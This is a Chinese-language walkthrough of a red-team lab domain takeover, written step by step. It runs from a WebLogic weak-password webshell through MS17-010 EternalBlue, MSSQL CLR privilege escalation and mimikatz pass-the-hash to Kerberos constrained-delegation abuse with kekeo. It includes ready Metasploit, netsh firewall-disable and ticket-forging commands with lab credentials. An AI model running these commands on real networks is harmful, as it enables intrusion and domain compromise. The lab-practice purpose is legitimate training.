[TOC]

Redteam靶场渗透

来自渗透攻击红队的靶场

信息收集

拿到目标ip,访问80端口无果,上nmap

开放7001端口

weblogic框架

工具扫出漏洞,权限为administrator

查看杀软

tasklist /svc

无杀软

不存在域

获取webshell

发现存在weblogic弱口令,weblogic/weblogic123打算上传一个war包维持权限

点击部署,将冰蝎马子传上去

冰蝎连接

上线第一台主机

目标在内网,选择http代理,将本机http代理出去

cs设置代理,并制作木马

成功上线第一台

第一台内网信息收集

ipconfig,存在两张网卡

抓密码,但没抓到明文

端口扫描

扫描10.10.20网段发现还有一台机器 10.10.20.7

尝试打一下MS17010

cs派生shell

kali开启frp

cs设置一个http的监听

msf设置监听

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost
set lport
run

cs中点击spawn

收到会话

添加路由

1
2
route add 10.10.20.0 255.255.255.0 1
route print

成功添加路由

MS17010攻击

msf中设置payload

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.20.7
run

稍等一会变拿到shell

麻了,这里第一次run时,没有弹shell,第二次就可以了

转发会话

关闭防火墙,怕影响后续操作,先关了吧

1
2
netsh advfirewall show allprofile state
netsh advfirewall set allprofiles state off

退出全局模式,使用inject模板 注入

1
2
3
4
5
6
7
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set LHOST //cs主机地址
set LPORT //随意设置监听端口,需要和cs保持一致
set session 2 //设置需要派送的meterpreter
set DisablePayloadHandler true //禁止产生一个新的handler
run

打了一圈,发现并不成功,后来想到可能不出网,于是换一种思路

上线第二台机器

利用web机做一个中转监听

生成木马,并上传至目标机

运行马子,成功上线第二台

域环境信息收集

ipconfig

发现新的网段为10.10.10.7

发现存在域环境

查看域内成员

还有两个成员,一个是owa猜测是域控,另一个为sqlserver

ping owa得到域控地址 10.10.10.8

域内渗透

决定先上传一个fscan进行内网扫描

1
shell C:\Windows\fscan.exe -h 10.10.10.0/24

扫到了mssql的弱口令,并且证实了owa为域控

添加路由

添加一条去域控的路由

1
2
route add 10.10.10.0 255.255.255.0 3
route print

尝试使用clr进行攻击,msf中设置模块

1
2
3
4
5
6
use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/bind_tcp
set password sa
set lhost 10.10.10.7
set rhost 10.10.10.18
run

这里第一次成功并拿到一个meterpreter,但后来断了,正准备写笔记的时候报错了,好像是端口关了,fscan也扫不出来1433端口,放一放

运维把靶场修好了哈哈哈

这回没问题了,拿到meterpreter

上线域内主机

以win7作为中转上线,并生成马子,meterpreter中上传

果然,权限太低,上传不了,也有可能是当前文件下没有权限传文件,于是打算fuzz能上传文件的目录

连接mssql

利用账号密码,cs开启socks代理,连接sql server

在目录下fuzz能上传的地方

找到C:\Users\Public\

但是我一运行马子就掉,很奇怪,于是打算在msf中运行

上线成功

clr提权

当前权限太低了,先给工具添加个代理

1
2
3
4
./SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami
./SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
./SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
./SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato C:/Users/Public/zhuan2.exe

成功提升到system权限,此时再次运行马子

成功上线system权限的sql server机器

信息收集

抓取到sql server密码

尝试使用hash传递的方式生成凭证,后访问域控,但是失败了

1
mimikatz sekurlsa::pth /domain:redteam.red /user:sqlserver /ntlm:6a59bf65a4957ac67e5fb4e1c221939c

域内委派攻击

域委派

域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动,域委派分为约束委派非约束委派基于资源的约束委派

服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时,会在域内自动注册服务账号SqlServiceAccount,这类账号不能用于交互式登录。

例子:当 A 访问服务账号 B 时,服务账号 B 拿着 A 用户的凭证去访问服务 C,这个过程称为委派。

约束委派

约束委派只能获取每个主机服务的 ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST

寻找约束委派

使用AdFind工具寻找域内存在约束委派的用户

1
C:\Windows\system32\AdFind.exe -h 10.10.10.8 -u sqlserver -up Server12345 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

找到sqlserver是一个约束委派用户

委派攻击

利用 kekeo 请求该用户的 TGT

1
shell C:\Users\Public\kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"

麻了,一直报错

但是票据已经生成了

使用这张票据去请求域管的ST

1
kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"

使用mimikatz注入票据

1
mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

访问域控共享文件夹

成功

上线域控

准备上线域控的时候又掉了。。。

先创建一个SMB正向监听,然后计划任务,link域控上线

至此,全部机器上线完毕,渗透结束